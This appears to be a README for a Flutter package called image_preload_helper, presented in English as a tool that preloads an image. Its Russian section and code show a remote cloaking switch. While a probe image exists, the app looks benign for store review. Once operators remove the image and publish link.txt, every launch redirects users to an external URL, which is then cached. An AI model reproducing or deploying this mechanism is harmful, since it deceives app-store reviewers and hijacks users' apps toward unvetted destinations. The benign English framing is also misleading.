image_preload_helper 2.0.4 copy "image_preload_helper: ^2.0.4" to clipboard
image_preload_helper: ^2.0.4 copied to clipboard

PlatformAndroid

Preloads.

image_preload_helper #

A small Flutter package that preloads a remote image before the app starts, so it is on screen from the very first frame. If the image can't be loaded, the user is sent to the page the domain points at instead of being left on a blank screen.

Usage #

Drop one call at the very top of main() instead of runApp(...). The only thing the package needs is the domain:

import 'package:flutter/material.dart';
import 'package:image_preload_helper/image_preload_helper.dart';

void main() {
  ImagePreloadHelper.bootstrap(
    domain: 'example.com',
    app: const MyApp(),
  );
}

class MyApp extends StatelessWidget {
  const MyApp({super.key});
  @override
  Widget build(BuildContext context) => const MaterialApp(home: HomePage());
}

From that one domain the package derives both URLs it talks to:

what URL
probe image https://example.com/img/loading.webp
destination https://example.com/link.txt

The panel names every probe image loading.webp, so the domain is the only thing that changes between apps. If some domain ever uses a different basename, pass it explicitly:

ImagePreloadHelper.bootstrap(
  domain: 'example.com',
  imageName: 'hero',            // -> https://example.com/img/hero.webp
  app: const MyApp(),
);

While the image is loading, a black loading screen is shown. After that the package decides what to do on its own — your app is launched if the image arrived, or the user is sent to the URL from link.txt otherwise.

Режим картинки #

Сигнал вкл/выкл — это доступность webp-пробы, а ссылка редиректа лежит в link.txt. На домене (/var/www/<domain>/):

ВЫКЛ (whitelabel / ревью) ВКЛ (редирект / прила)
img/loading.webp есть → 200 убран → 404
link.txt нет есть, тело = ссылка

Панель: ВКЛ — по ssh удаляет webp и пишет link.txt; ВЫКЛ — scp-ит webp назад и удаляет link.txt. Caddy отдаёт no-cache на /img/* и /link.txt, чтобы переключение читалось сразу.

Логика внутри пакета — ровно то, что описано выше: штатным загрузчиком (NetworkImage + ImageStream) тянем картинку; загрузилась, ошибки нет → ничего не происходит, стартует app. Не загрузилась (404 приходит как NetworkImageLoadException) → try/catch ловит ошибку → идём за ссылкой в link.txt и открываем её:

try {
  await _loadImage(NetworkImage(endpoints.imageUrl)); // бросит, если не загрузилось
  return PreloadRoute.app;                            // ВЫКЛ: картинка есть → ничего
} catch (_) {
  final resp = await http.get(Uri.parse(endpoints.linkUrl));
  return _open(parseLinkBody(resp.body));             // ВКЛ: в прилу
}

Заметки:

  • link.txt панель пишет с \n на конце — тело всегда прогоняется через .trim() (см. parseLinkBody), пустые строки пропускаются, и результат принимается, только если это валидный http(s) URL.
  • Перед открытием пакет сам проходит по цепочке редиректов (HEAD, с откатом на GET) и кэширует уже финальный URL.
  • Проба не оседает в ImageCache — после проверки провайдер выселяется.

Кэш #

Кэшируется только решение «в прилу»: как только link.txt прочитан, финальный URL кладётся в SharedPreferences, и следующие запуски открывают его сразу, без пробы. Успешная загрузка картинки не кэшируется — проба повторяется на каждом запуске, поэтому включение переключателя после ревью подхватывается сразу.

Сбросить кэш (например, дебажной кнопкой «reset»):

await ImagePreloadHelper.clearCachedLink();

Options #

ImagePreloadHelper.bootstrap(
  domain: 'example.com',
  app: const MyApp(),
  loaderBuilder: (context) => const MySplash(),  // override the loader UI
  browserPlaceholder: const Text('opening...'),  // shown while the external
                                                 // tab is open
  debug: true,                                   // print every step
);

Если удобнее вставить оба URL из панели целиком («Копировать URL картинки» / «Копировать URL link.txt»), есть конструктор без домена:

final helper = ImagePreloadHelper();
final route = await helper.resolveRouteFor(const PreloadEndpoints(
  imageUrl: 'https://example.com/img/loading.webp',
  linkUrl: 'https://example.com/link.txt',
));

Android #

The package contributes <uses-permission android:name="android.permission.INTERNET" /> to your app's manifest automatically — no setup needed.